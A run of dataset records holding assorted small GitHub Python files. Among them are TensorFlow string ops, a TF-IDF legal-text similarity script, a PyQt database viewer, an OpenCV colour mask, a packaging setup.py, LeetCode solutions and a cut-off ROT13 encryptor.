r\"\"\"Converts each string in the input Tensor to its hash mod by a number of buckets.\n\n The hash function is deterministic on the content of the string within the\n process.\n\n Note that the hash function may change from time to time.\n This functionality will be deprecated and it's recommended to use\n `tf.strings.to_hash_bucket_fast()` or `tf.strings.to_hash_bucket_strong()`.\n\n Args:\n input: A `Tensor` of type `string`.\n num_buckets: An `int` that is `>= 1`. The number of buckets.\n name: A name for the operation (optional).\n\n Returns:\n A `Tensor` of type `int64`.\n \"\"\"\n # pylint: enable=line-too-long\n return gen_string_ops.string_to_hash_bucket(input, num_buckets, name)\n\n\n@tf_export(v1=[\"strings.to_hash_bucket\", \"string_to_hash_bucket\"])\ndef string_to_hash_bucket_v1(\n string_tensor=None,\n num_buckets=None,\n name=None,\n input=None):\n string_tensor = deprecation.deprecated_argument_lookup(\n \"input\", input, \"string_tensor\", string_tensor)\n return gen_string_ops.string_to_hash_bucket(string_tensor, num_buckets, name)\n\nstring_to_hash_bucket_v1.__doc__ = gen_string_ops.string_to_hash_bucket.__doc__\n","repo_name":"DeepRec-AI/DeepRec","sub_path":"tensorflow/python/ops/string_ops.py","file_name":"string_ops.py","file_ext":"py","file_size_in_byte":21655,"program_lang":"python","lang":"en","doc_type":"code","stars":895,"dataset":"github-code","pt":"31"} +{"seq_id":"14274326966","text":"import io\nimport glob\nimport re\nimport xml.etree.ElementTree as ET\nfrom pathlib import Path\nfrom pprint import pprint\nimport nltk\nfrom lxml.html import fromstring, tostring\nimport string\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport pandas as pd\nfrom gensim.utils import simple_preprocess\nfrom os import listdir\nfrom os.path import isfile, join\nimport pandas as pd\nfrom sklearn_extra.cluster import KMedoids\n# the starting dataset had erroneous xml\n# ie \"id=c01\" instead of id=\"c01\" (on catchphrases)\n# the solution is generalized\n\n\ndef fix_xml_id_error(file_location: Path) -> str:\n \"\"\"Input file path, and fix a dataset problem where id is shown as ie \"id=1\" instead of id=\"1\", as in xml standard\n Args:\n file_location: A relative or absolute path to the file to be fixed\n Returns:\n A string with the corrected lines on it\n \"\"\"\n with open(file_location, \"r\",encoding='windows-1252') as file_r:\n lines = file_r.read()\n lines = lines.replace('\"id=', 'id=\"')\n return lines\n\n\n# changes the encoding to unicode and compiles the html entities\n# so it can work with special characters/entities \ndef csv_unicode_html_clean(text_lines: str) -> str:\n \"\"\"Take the lines as a string and pass it from html reader. This is to remove html elements that the dataset\n used, returning the text as a unicode string\n Args:\n text_lines: The file written as a string, clean, but possibility of html entities\n Returns:\n A unicode coded string, clean from html elements\n \"\"\"\n div = fromstring(text_lines)\n clean = tostring(div, encoding='unicode')\n return clean\n\n\n# removes automatically generated html paragraph tag\n# from fromstring - tostring solution\ndef remove_html_paragraph(text_lines) -> str:\n \"\"\"Input the return of csv_unicode_html_clean and remove the automated

    that appears on the output after\n returning it as a string\n Args:\n text_lines: A relative or absolute path to the file to be fixed\n Returns:\n A string with the corrected lines on it\n \"\"\"\n remove_first = re.sub('^

    ', '', text_lines)\n removed_all = re.sub('

    $', '', remove_first)\n remove_=re.sub('\\n','',removed_all)\n return remove_\n\n\ndef xml_elem(xml_string: str, tag: str) -> str:\n \"\"\"Select tag of the xml element to return its text\n Args:\n xml_string: The string from the file, clean\n tag: The selected tag on the xml string\n Returns:\n All of the text that the tag contains\n \"\"\"\n tree = ET.ElementTree(ET.fromstring(xml_string))\n full_sentence_text = \"\"\n for elem in tree.iter(tag=tag):\n full_sentence_text += elem.text\n return full_sentence_text\n\n\ndef xml_file_clean(file_location) -> dict:\n \"\"\"A full clean up using the created functions, for the syntax error and the html elements\n Args:\n file_location: The location of a single file in the corpus\n Returns:\n A dictionary with the name tag of the file and the sentence tag, which is the full text of the document\n \"\"\"\n\n # returns fixed xml error with ids (string)\n read_file = fix_xml_id_error(file_location)\n # returns lines clear from html entities\n new_lines = csv_unicode_html_clean(read_file)\n # returns the text without the html paragraph automatically generated\n clean_text = remove_html_paragraph(new_lines)\n case_details = {'name': xml_elem(clean_text, \"name\"),\n 'text': xml_elem(clean_text, \"sentence\")}\n return case_details\n\n\n# will take folder as relative or absolute path ending on /\ndef full_dataset_unicode(folder_location) -> list:\n \"\"\"The conversion of the full corpus into a dataset list\n Args:\n folder_location: The location of the corpus folder, as relative or absolute path ending on /\n Returns:\n The cleaned files as a dictionary list, creating a dataset\n \"\"\"\n count = 0\n case_detail_list = []\n # glob scans the folder for all available files,\n for file in glob.glob(str(folder_location / \"*\")):\n print(file)\n # generates the clean xml string from the file location\n case_detail = xml_file_clean(file)\n case_detail_list.append(case_detail)\n count += 1\n print(\"Number of files: \", count)\n return case_detail_list\n\ndef tokenizeContent(contentsRaw):\n tokenized = nltk.tokenize.word_tokenize(contentsRaw)\n return tokenized\n\ndef removeStopWordsFromTokenized(contentsTokenized):\n stop_word_set = set(nltk.corpus.stopwords.words(\"english\"))\n filteredContents = [word for word in contentsTokenized if word not in stop_word_set]\n return filteredContents\n\ndef convertItemsToLower(contentsRaw):\n filteredContents = [term.lower() for term in contentsRaw]\n return filteredContents\n\ndef removePunctuationFromTokenized(contentsTokenized):\n excludePuncuation = set(string.punctuation)\n filteredContents = [word for word in contentsTokenized if word not in excludePuncuation]\n return filteredContents\n\ndef performPorterStemmingOnContents(contentsTokenized):\n porterStemmer = nltk.stem.PorterStemmer()\n filteredContents = [porterStemmer.stem(word) for word in contentsTokenized]\n return filteredContents\n\ndef processData(rawContents):\n cleaned = tokenizeContent(rawContents)\n cleaned = removeStopWordsFromTokenized(cleaned)\n cleaned = performPorterStemmingOnContents(cleaned) \n cleaned = removePunctuationFromTokenized(cleaned)\n cleaned = convertItemsToLower(cleaned)\n return cleaned\n\ndef returnListOfFilePaths(folderPath):\n listOfFilePaths = [join(folderPath, fileName) for fileName in listdir(folderPath) if isfile(join(folderPath, fileName))]\n return listOfFilePaths\n\ndef create_docContentDict(filePaths):\n rawContentDict = {}\n for filePath in filePaths:\n with open(filePath, \"r\") as ifile:\n fileContent = ifile.read()\n rawContentDict[filePath] = fileContent\n return rawContentDict\n\n\n\nBASE_INPUT_DIR = \"/Users/swtoskon/Downloads/corpus/fulltext\"\nfileNames = returnListOfFilePaths(BASE_INPUT_DIR)\n\nlst=[]\ncount=0\nfor file in fileNames:\n case_detail = xml_file_clean(file)\n doc = case_detail['text']\n lst.append(doc)\n count+=1\n \ntfidf = TfidfVectorizer(tokenizer=processData,stop_words='english')\ntfs = tfidf.fit_transform(lst)\n#feature_names = tfidf.get_feature_names()\n#dense = tfs.todense()\n#denselist = dense.tolist()\n#df = pd.DataFrame(denselist, columns=feature_names)\nprint(count)\n\nsimilarity_list=[]\n\n#for i in range(len(fileNames)):\n # matrixValue = cosine_similarity(tfs[3795], tfs[i])\n # numValue = matrixValue[0][0]\n # similarity_list.append([numValue,i,fileNames[i]])\n#calculate cosine similarity\nfor i in range(1500):\n emb=tfs[i]\n if(i==1000 or i==200):\n print(i)\n for j in range(1500):\n if(i!=j and i>j):\n emb1=tfs[j]\n csim= cosine_similarity(emb.reshape(1,-1), emb1.reshape(1,-1))\n csim1=csim[0][0]\n similarity_list.append([csim1,fileNames[i],fileNames[j]]) \n#print(\"second\")\nsimilarity_df = pd.DataFrame(similarity_list, columns=['cos_sim', 'document1', 'document2'])\nsimilarity_df.to_csv(\"tfidf.csv\")\nprint(len(similarity_df))\n\ndf = pd.read_csv('tfidf.csv')\ndf1= pd.read_csv('doc2vec1.csv')\ndf2=pd.read_csv('bert.csv')\n\n#kendall corellation with 3 methods\nprint(df['cos_sim'].corr(df1['cos_sim'],method='kendall'))\nprint(df['cos_sim'].corr(df2['cos_sim'],method='kendall'))\nprint(df1['cos_sim'].corr(df2['cos_sim'],method='kendall'))\n\n\n\n#sf=similarity_df.sort_values(by=['cos_sim'],ascending=False)\n#print(sf[:10])\n\n#print(sf[1945:1947])\n\n#print(sf.tail(10))\n\n\n\n\n\n\n\n\n \n\n","repo_name":"swtoskon/Python__Tasks","sub_path":"TF-IDF_AUCaseLaw_dataset.py","file_name":"TF-IDF_AUCaseLaw_dataset.py","file_ext":"py","file_size_in_byte":7850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19554073272","text":"import os\nimport shutil\n\nsrc_dir = r\"C:\\Users\"\ndst_dir = r\"C:\\Users\"\nfor root, dirs, files in os.walk(src_dir):\n for file in files:\n if file.endswith('.mp4'):\n fileName = os.path.join(root, file)\n shutil.copy(fileName, dst_dir)","repo_name":"harsh-bhatt-25/PythonProjects","sub_path":"Files Copying/filecopying.py","file_name":"filecopying.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1357404259","text":"# Naive Solution\n\ndef lastOcc(l,x):\n for i in reversed(range(len(l))):\n if l[i] == x:\n return i\n return -1\n\na = [1,2,3,4,5,6]\nn = int(input())\n\nprint(lastOcc(a,n))\n\n# TC: O(n)","repo_name":"Shaurya19/DSA","sub_path":"4) Searching/7_LastOccurence.py","file_name":"7_LastOccurence.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38121636870","text":"from math import log\nimport numpy as np\n\ndef d(p1, p2):\n\treturn (p1[0]-p2[0])*p2[1]-p2[0]*(p1[1]-p2[1]);\n\n\nlines = None\nwith open('p102_triangles.txt', 'r') as f:\n\tlines = f.readlines() \n\nif lines is not None:\n\tarr = np.zeros((len(lines), 3, 2))\n\tfor i, e in enumerate(lines):\n\t\tsplit = e.strip().split(',')\n\t\tfor j in range(3):\n\t\t\tfor k in range(2):\n\t\t\t\tarr[i, j, k] = int(split[2*j+k])\n\n\tres = 0\n\tfor e in arr:\n\t\td1 = d(e[0], e[1])\n\t\td2 = d(e[1], e[2])\n\t\td3 = d(e[2], e[0])\n\t\tif (d1 > 0 and d2 > 0 and d3 > 0) or (d1 < 0 and d2 < 0 and d3 < 0):\n\t\t\tres += 1\n\n\tprint(res)\n","repo_name":"martin3398/project-euler-solutions","sub_path":"p102/p102.py","file_name":"p102.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39048810096","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"mapboxutil\",\n version=\"1.1.1\",\n author=\"Toni Cornelissen\",\n author_email=\"mapboxutil@technetium.be\",\n description=\"Module with utility functions to generate static choropleth maps with Mapbox\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://mapboxutil.technetium.be\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\",\n \"Topic :: Multimedia :: Graphics :: Presentation\",\n \"Topic :: Scientific/Engineering :: GIS\",\n ],\n python_requires='>=3.5',\n) \n\n'''\nhttps://www.codementor.io/@ajayagrawal295/how-to-publish-your-own-python-package-12tbhi20tf\npython setup.py sdist bdist_wheel\npython -m twine upload -rtestpypi dist/*\n''' \n","repo_name":"technetium/mapboxutil","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2088584012","text":"import random\nfrom PIL import Image, ImageOps\nimport numpy as np\nimport numbers\nimport cv2\nimport math\nimport os\nfrom sklearn import preprocessing\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n temp_path = \"F:/pycharm_preject/temp/\"\n img = cv2.imread(temp_path + \"berry.jpg\")\n B, G, R = cv2.split(img)\n cv2.imshow(\"B\", B)\n cv2.imshow(\"G\", G)\n cv2.imshow(\"R\", R)\n\n HSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) # RGB 转为 HSV\n H, S, V = cv2.split(HSV) # 分离 HSV 三通道\n cv2.imshow(\"H\", H)\n cv2.imshow(\"S\", S)\n cv2.imshow(\"V\", V)\n Lowerred0 = np.array([155, 43, 35])\n Upperred0 = np.array([180, 255, 255])\n mask1 = cv2.inRange(HSV, Lowerred0, Upperred0)\n Lowerred1 = np.array([0, 43, 35])\n Upperred1 = np.array([11, 255, 255])\n mask2 = cv2.inRange(HSV, Lowerred1, Upperred1) # 将红色区域部分归为全白,其他区域归为全黑\n Apple = mask1 + mask2\n cv2.imshow(\"apple\", Apple)\n cv2.waitKey(0)\n pass\n","repo_name":"ZQSIAT/data_preprocessing","sub_path":"picture color.py","file_name":"picture color.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11613037337","text":"from main.models import Collections, Product\nfrom .models import *\nfrom cart.forms import CartAddProductForm\n\n\nclass DataMixin:\n def get_user_context(self,**kwargs):#создает контекст для шаблона(убирает дублирование кода)\n context = kwargs#создаем первоначальный список\n picture = PictureHome.objects.all()\n posts = Collections.objects.all()\n product = Product.objects.all()\n context['picture'] = picture\n context['posts'] = posts\n context['posts'] = product\n return context","repo_name":"Light896cart/internet_magazin","sub_path":"goods3/home/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"34337600587","text":"#!/usr/bin/env python3\n\nimport json\nimport argparse\nimport csv\nimport sys\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-s', '--state',\n default = 'open', choices = ['open' ,'closed', 'all'],\n help = 'state of issues to fetch')\nparser.add_argument('-l', '--label',\n help = 'comma-separated labels to filter on')\nparser.add_argument('-m', '--milestone',\n help = 'comma-separated milestones to filter on')\nparser.add_argument('-c', '--columns', default='nalmt',\n help = 'columns to include in csv output')\nparser.add_argument('-o', '--output', type=str,\n help = 'output file location')\nparser.add_argument('input', type=str,\n help = 'location of input json data')\n\nargs = parser.parse_args()\n\nwith open(args.input, 'r') as f:\n data = json.load(f)\n\noutfile = open(args.output, 'w') if args.output else sys.stdout\ncw = csv.writer(outfile)\n\nheader_names = { 'n': 'Issue', #number\n 'a': 'Assignees',\n 'l': 'Labels',\n 'm': 'Milestone',\n 't': 'Title',\n }\n\ncw.writerow(header_names.get(c, c) for c in args.columns)\n\n# helpers to pull things out of issues in list-of-strings form\ndef assignees(i):\n return list(a.get('login', '??') for a in i.get('assignees', []))\n\ndef labels(i):\n return list(l.get('name', '??') for l in i.get('labels', []))\n\ndef milestones(i):\n return [ i['milestone'].get('title', '??') ] if i.get('milestone') else []\n\ncol_values = { 'n': lambda i: str(i['number']),\n 'a': lambda i: ','.join(assignees(i)),\n 'l': lambda i: ','.join(labels(i)),\n 'm': lambda i: ','.join(milestones(i)),\n 't': lambda i: i['title'],\n }\n\ndef list_match(mlist, vlist):\n first = True\n accept = True\n for mterm in mlist.split(','):\n if mterm.startswith('-'):\n if mterm[1:] in vlist:\n accept = False\n else:\n if first:\n accept = False # default is reject\n if mterm in vlist:\n accept = True\n first = False\n return accept\n\nfor num in sorted(data['issues']):\n i = data['issues'][num]\n\n if args.state and (i['state'] != args.state):\n continue\n\n if args.label and not list_match(args.label, labels(i)):\n continue\n\n if args.milestone and not list_match(args.milestone, milestones(i)):\n continue\n\n cw.writerow(col_values[c](i) for c in args.columns)\n\nif args.output:\n outfile.close()\n","repo_name":"StanfordLegion/legion","sub_path":"tools/issues2csv.py","file_name":"issues2csv.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":616,"dataset":"github-code","pt":"31"} +{"seq_id":"18206442531","text":"from PyQt5.QtCore import QSize, Qt\nfrom PyQt5.QtWidgets import *\nimport Database\nfrom PyQt5 import QtCore\nfrom PyQt5.Qt import *\n\n\n# Inheriting from QMainWindow\nclass Window_DB(QMainWindow):\n # Overriding the class constructor\n def __init__(self, table_name):\n # Be sure to call the super class method\n QMainWindow.__init__(self)\n\n self.setGeometry(0, 0, 1280, 720) # window size\n self.setWindowTitle(\"Database Table\")\n self.database = Database.main_DB()\n self.table_DB(table_name)\n\n\n self.show()\n\n def closeEvent(self, event):\n close = QMessageBox.question(self,\n \"QUIT\",\n \"Are you sure want to stop process?\",\n QMessageBox.Yes | QMessageBox.No)\n if close == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n def table_DB(self, table_name):\n self.model = QStandardItemModel(self)\n self.table = QTableView(self) # Create a table\n\n if table_name == \"İlçeler\":\n read_db = self.database.getCounties()\n\n self.model.setHorizontalHeaderLabels([\"ID\", \"İlçe Adı\", \"İl Adı\"])\n\n\n for get_DB in read_db:\n self.model.invisibleRootItem().appendRow(\n [QStandardItem(\"{}\".format(column))\n for column in get_DB\n ])\n\n print(get_DB[0], get_DB[1], get_DB[2])\n\n self.proxy = QSortFilterProxyModel(self)\n self.proxy.setSourceModel(self.model)\n\n self.table.setModel(self.proxy)\n\n\n elif table_name == \"SafetyBox's\":\n read_db = self.database.getSafetyBoxs()\n\n self.model.setHorizontalHeaderLabels([\"ID\", \"SafetyBox İsmi\", \"SafetyBox Adres\", \"Kayıtlı İlçe ID\"])\n\n\n for get_DB in read_db:\n self.model.invisibleRootItem().appendRow(\n [QStandardItem(\"{}\".format(column))\n for column in get_DB\n ])\n\n print(get_DB[0], get_DB[1], get_DB[2], get_DB[3])\n\n self.proxy = QSortFilterProxyModel(self)\n self.proxy.setSourceModel(self.model)\n\n self.table.setModel(self.proxy)\n\n\n elif table_name == \"Dolaplar\":\n print(\"Checked for Access Dolaplar Case\")\n read_db = self.database.getAllBoxs()\n\n self.model.setHorizontalHeaderLabels([\"ID\", \"Dolap No\", \"Boyut\", \"Boş Mu?\", \"Kayıtlı SafetyBox ID\",\n \"SafetyBox İsim\", \"SafetyBox Adres\"])\n\n for get_DB in read_db:\n self.model.invisibleRootItem().appendRow(\n [QStandardItem(\"{}\".format(column))\n for column in get_DB\n ])\n\n print(get_DB[0], get_DB[1], get_DB[2], get_DB[3], get_DB[4])\n self.proxy = QSortFilterProxyModel(self)\n self.proxy.setSourceModel(self.model)\n\n self.table.setModel(self.proxy)\n\n elif table_name == \"Kargolar\":\n read_db = self.database.getCargoes()\n\n self.model.setHorizontalHeaderLabels([\"ID\", \"Takip No\", \"QR Kod\", \"PNR No\", \"Ek Güvenlik\",\n \"Kayıtlı Dolap ID\", \"Kayıtlı Kimlik ID\", \"Kargo Oluşturma Tarihi\",\n \"Kargo Bırakma Tarihi\", \"Kargo Alma Tarihi\", \"Teslim edildi mi?\"])\n\n for get_DB in read_db:\n self.model.invisibleRootItem().appendRow(\n [QStandardItem(\"{}\".format(column))\n for column in get_DB\n ])\n\n print(get_DB[0], get_DB[1], get_DB[2], get_DB[3], get_DB[4], get_DB[5], get_DB[6], get_DB[7], get_DB[8],\n get_DB[9])\n\n self.proxy = QSortFilterProxyModel(self)\n self.proxy.setSourceModel(self.model)\n\n self.table.setModel(self.proxy)\n\n\n elif table_name == \"Kimlikler\":\n read_db = self.database.getIdentities()\n\n self.model.setHorizontalHeaderLabels([\"ID\", \"İsim\", \"Soyisim\", \"Telefon No\", \"Mail Adresi\"])\n\n for get_DB in read_db:\n self.model.invisibleRootItem().appendRow(\n [QStandardItem(\"{}\".format(column))\n for column in get_DB\n ])\n\n print(get_DB[0], get_DB[1], get_DB[2], get_DB[3], get_DB[4])\n\n self.proxy = QSortFilterProxyModel(self)\n self.proxy.setSourceModel(self.model)\n\n self.table.setModel(self.proxy)\n\n\n elif table_name == \"Detaylı Tablo\":\n read_db = self.database.getDB_All()\n\n self.model.setHorizontalHeaderLabels([\"Kimlik ID\", \"İsim\", \"Soyisim\", \"Telefon No\", \"Mail Adresi\",\n \"Kargo ID\", \"Takip No\", \"QR Kod\", \"PNR No\", \"Ek Güvenlik\",\n \"Kargo Oluşturma Tarihi\", \"Kargo Teslim Tarihi\", \"Teslim Edildi mi?\",\n \"Dolap ID\", \"Yerel Dolap No\", \"Boyut\", \"Boş mu?\",\n \"SafetyBox's İsmi\", \"SafetyBox's Adres\", \"İlçe\", \"İl\"])\n\n for get_DB in read_db:\n self.model.invisibleRootItem().appendRow(\n [QStandardItem(\"{}\".format(column))\n for column in get_DB\n ])\n\n self.proxy = QSortFilterProxyModel(self)\n self.proxy.setSourceModel(self.model)\n\n self.table.setModel(self.proxy)\n\n\n central_widget = QWidget(self) # Create a central widget\n self.setCentralWidget(central_widget) # Install the central widget\n\n hbox = QHBoxLayout()\n vbox = QVBoxLayout()\n vbox.setSizeConstraint(QLayout.SetMinimumSize)\n\n central_widget.setLayout(hbox) # Install this placement in the central widget\n\n self.table.resizeColumnsToContents()\n hbox.addLayout(vbox, 20)\n hbox.addWidget(self.table, 80)\n\n self.combobox_Tablename = QComboBox(self)\n self.combobox_Tablename.addItems([\"İlçeler\", \"SafetyBox's\", \"Dolaplar\", \"Kargolar\", \"Kimlikler\", \"Detaylı Tablo\"])\n\n self.checkbox = QCheckBox(\"Detaylı Sorgulama\")\n self.checkbox.stateChanged.connect(self.DetailSearch)\n\n self.combobox_Column = QComboBox(self)\n self.combobox_Column.addItems([\"Takip_Numarasi\", \"Ad\", \"Soyad\", \"Tel_num\"])\n self.combobox_Column.setVisible(False)\n self.combobox_Column.currentIndexChanged.connect(self.on_comboBox_currentIndexChanged)\n self.combobox_Column.setCurrentIndex(0)\n\n self.textbox_DetailSearch = QLineEdit()\n self.textbox_DetailSearch.setPlaceholderText(\"Arama Parametresini Yazınız\")\n # self.textbox_DetailSearch.setFixedWidth(self.combobox_Column.width()*2)\n self.textbox_DetailSearch.setVisible(False)\n self.textbox_DetailSearch.textChanged.connect(self.on_lineEdit_textChanged)\n\n\n self.button = QPushButton(\"Onayla\")\n vbox.addWidget(self.combobox_Tablename)\n vbox.addWidget(self.button)\n vbox.addWidget(self.checkbox)\n vbox.addWidget(self.textbox_DetailSearch)\n vbox.addWidget(self.combobox_Column)\n self.button.clicked.connect(self.update_Table)\n\n def update_Table(self):\n table_name = self.combobox_Tablename.currentText()\n print(table_name)\n self.table_DB(table_name)\n\n def DetailSearch(self):\n if self.checkbox.isChecked():\n self.table_DB(\"Detaylı Tablo\")\n \n self.combobox_Tablename.setVisible(False)\n self.button.setVisible(False)\n self.textbox_DetailSearch.setVisible(True)\n self.combobox_Column.setVisible(True)\n self.on_comboBox_currentIndexChanged(0)\n\n else:\n self.combobox_Tablename.setVisible(True)\n self.button.setVisible(True)\n self.textbox_DetailSearch.setVisible(False)\n self.table_DB(\"İlçeler\")\n\n @QtCore.pyqtSlot(str)\n def on_lineEdit_textChanged(self, text):\n search = QtCore.QRegExp(text,\n QtCore.Qt.CaseInsensitive,\n QtCore.QRegExp.RegExp\n )\n\n self.proxy.setFilterRegExp(search)\n\n @QtCore.pyqtSlot(int)\n def on_comboBox_currentIndexChanged(self, index):\n if index == 0:\n self.proxy.setFilterKeyColumn(6)\n else:\n self.proxy.setFilterKeyColumn(index)","repo_name":"kuzeycaliskan/SafetyBox","sub_path":"Database_Window.py","file_name":"Database_Window.py","file_ext":"py","file_size_in_byte":8708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16976246271","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('student_groups', '0015_document_user'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='news',\n name='pub_date',\n field=models.DateTimeField(auto_now_add=True, verbose_name='date published'),\n ),\n ]\n","repo_name":"AlexWorldD/Datium","sub_path":"student_groups/migrations/0016_auto_20150430_2325.py","file_name":"0016_auto_20150430_2325.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"69804493529","text":"class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\ndef reverseBetween(head: ListNode, left: int, right: int) -> ListNode:\n dummy_node = ListNode(-1)\n dummy_node.next = head\n pre = dummy_node\n for _ in range(left - 1):\n pre = pre.next\n \n cur = pre.next\n for _ in range(right - left):\n next = cur.next\n cur.next = next.next\n next.next = pre.next\n pre.next = next\n \n return dummy_node.next\n \n\n","repo_name":"DengBoCong/Algorithm","sub_path":"core/tmp/Python/linked-list/reverse_linked_list_ii.py","file_name":"reverse_linked_list_ii.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"22709717733","text":"\"\"\"\nQ:\nAn alphabetical continuous string is a string consisting of consecutive letters in the alphabet. In other words, it is any substring of the string \"abcdefghijklmnopqrstuvwxyz\".\n\nFor example, \"abc\" is an alphabetical continuous string, while \"acb\" and \"za\" are not.\nGiven a string s consisting of lowercase letters only, return the length of the longest alphabetical continuous substring.\n\"\"\"\n\nclass Solution(object):\n def longestContinuousSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n start = 1\n current = 1 \n for i in range(1,len(s)):\n if ord(s[i]) - ord(s[i-1]) == 1:\n current+= 1\n start = max(current,start)\n else:\n current = 1\n\n return start\n","repo_name":"ashutoshrana171/LeetCode_Ashutosh_Python","sub_path":"Medium(2414).py","file_name":"Medium(2414).py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36062546776","text":"from random import randint\n\nplayer_wins = 0\ncomputer_wins = 0\nwinning_score = 3\n\nwhile player_wins < winning_score and computer_wins < winning_score:\n\tprint(f\"Player score: {player_wins} Computer score: {computer_wins}\")\n\tprint(\"Enter your choice.\")\n\tplayer = input().lower()\n\tif player == \"quit\" or input == \"q\":\n\t\tbreak\n\tprint(f\"You chose {player}.\")\n\n\trandomNumber = randint(1,3)\n\n\tcomputer = None\n\n\tif randomNumber == 0:\n\t\tcomputer = \"rock\"\n\telif randomNumber == 1:\n\t\tcomputer = \"paper\"\n\telse:\n\t\tcomputer = \"scissors\"\n\n\tprint(f\"The computer generated {computer}.\")\n\n\tif player and computer:\n\t\tif (player == \"rock\" and computer == \"paper\") or (player == \"scissors\" and computer == \"rock\") or (player == \"paper\" and computer == \"scissors\"):\n\t\t\tprint(\"The computer won!\")\n\t\t\tcomputer_wins += 1\n\t\telif player == computer:\n\t\t\tprint(\"Tie!\")\n\t\telse:\n\t\t\tprint(\"You won!\")\n\t\t\tplayer_wins += 1\nif player_wins > computer_wins:\n\tprint(\"Congrats, you won!\")\nelif player_wins == computer_wins:\n\tprint(\"It's a tie!\")\nelse:\n\tprint(\"Oh no, the computer won!\")\nprint(f\"FINAL SCORE... Player: {player_wins} Computer: {computer_wins}\")","repo_name":"falondarville/python-exercises","sub_path":"rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10247639060","text":"\"\"\"empty message\n\nRevision ID: 611f62f459ae\nRevises: e341a849a6a4\nCreate Date: 2016-02-02 16:38:18.652284\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '611f62f459ae'\ndown_revision = 'e341a849a6a4'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('devices', sa.Column('type', sa.String(length=255), nullable=True))\n op.add_column('pins', sa.Column('status', sa.Boolean(), nullable=True))\n op.create_unique_constraint(None, 'pins', ['name'])\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'pins', type_='unique')\n op.drop_column('pins', 'status')\n op.drop_column('devices', 'type')\n ### end Alembic commands ###\n","repo_name":"sumanthns/sonic-app","sub_path":"sonic_app/migrations/versions/611f62f459ae_.py","file_name":"611f62f459ae_.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28070532566","text":"# 1. Majority Element\nclass Solution:\n # Time: O(n) Space: O(n)\n def majorityElement(self, nums: List[int]) -> int:\n ht = {}\n for num in nums:\n if num not in ht:\n ht[num] = 0\n ht[num] += 1\n \n # first way\n return max(ht, key=ht.get)\n \n # second way\n result = float('-inf')\n biggest_key = None\n for key, value in ht.items():\n if value > result:\n result = value\n biggest_key = key\n \n return biggest_key\n \n # Time: O(n) Space: O(1)\n def majorityElement(self, nums: List[int]) -> int:\n count = 0\n candidate = None\n for num in nums:\n if count == 0:\n candidate = num\n count += 1 if num == candidate else -1\n \n return candidate\n","repo_name":"SleeplessChallenger/Leetcode","sub_path":"lc_170_patterns/sorting/easy.py","file_name":"easy.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33306090499","text":"import js\nimport string\n\n# Esta línea nos da el contenido del elemento HTML con id=\"message\"\nmessage = js.document.getElementById(\"message\").value\n\n# Código del encriptador:\nmessage = message.replace(\"Ñ\", \"N\").replace(\"ñ\", \"n\").upper().replace(\"Á\", \"A\").replace(\"É\", \"E\").replace(\"Í\", \"I\").replace(\"Ó\", \"O\").replace(\"Ú\", \"U\")\n\nchars = string.ascii_uppercase\n\ndef encrypt_letter(letter):\n if letter in chars:\n return chars[ (chars.index(letter) +13)%len(chars) ]\n return letter\n\nencrypted_message_list = [encrypt_letter(letter) for 